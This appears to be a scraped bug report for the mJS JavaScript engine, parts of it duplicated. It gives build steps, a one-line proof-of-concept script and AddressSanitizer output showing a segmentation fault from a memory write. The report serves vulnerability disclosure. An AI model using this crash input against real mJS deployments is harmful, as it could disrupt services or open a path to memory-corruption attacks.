vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC)$(CFLAGS)$(TOP_MJS_SOURCES)$(TOP_COMMON_SOURCES) -o $(PROG)# save the makefile then make
make
Test case
poc.js
JSON.stringify--(JSON.stringify(typeofprint));
Execution steps & Output
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==58172==ERROR: AddressSanitizer: SEGV on unknown address 0x55c8c4e9b0dc (pc 0x55c8c4e9b14f bp 0x00000000004c sp 0x7ffe0757c308 T0)
==58172==The signal is caused by a WRITE memory access.
#0 0x55c8c4e9b14e (/usr/local/bin/mjs+0x8814e)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x8814e)
==58172==ABORTING
Credits: Found by OWL337 team.
The text was updated successfully, but these errors were encountered:
mJS revision
Commit: b1b6eac
Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
Build steps
Test case
poc.js
Execution steps & Output
$ ./mjs/build/mjs poc.js ASAN:DEADLYSIGNAL ================================================================= ==58172==ERROR: AddressSanitizer: SEGV on unknown address 0x55c8c4e9b0dc (pc 0x55c8c4e9b14f bp 0x00000000004c sp 0x7ffe0757c308 T0) ==58172==The signal is caused by a WRITE memory access. #0 0x55c8c4e9b14e (/usr/local/bin/mjs+0x8814e) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x8814e) ==58172==ABORTINGCredits: Found by OWL337 team.
The text was updated successfully, but these errors were encountered: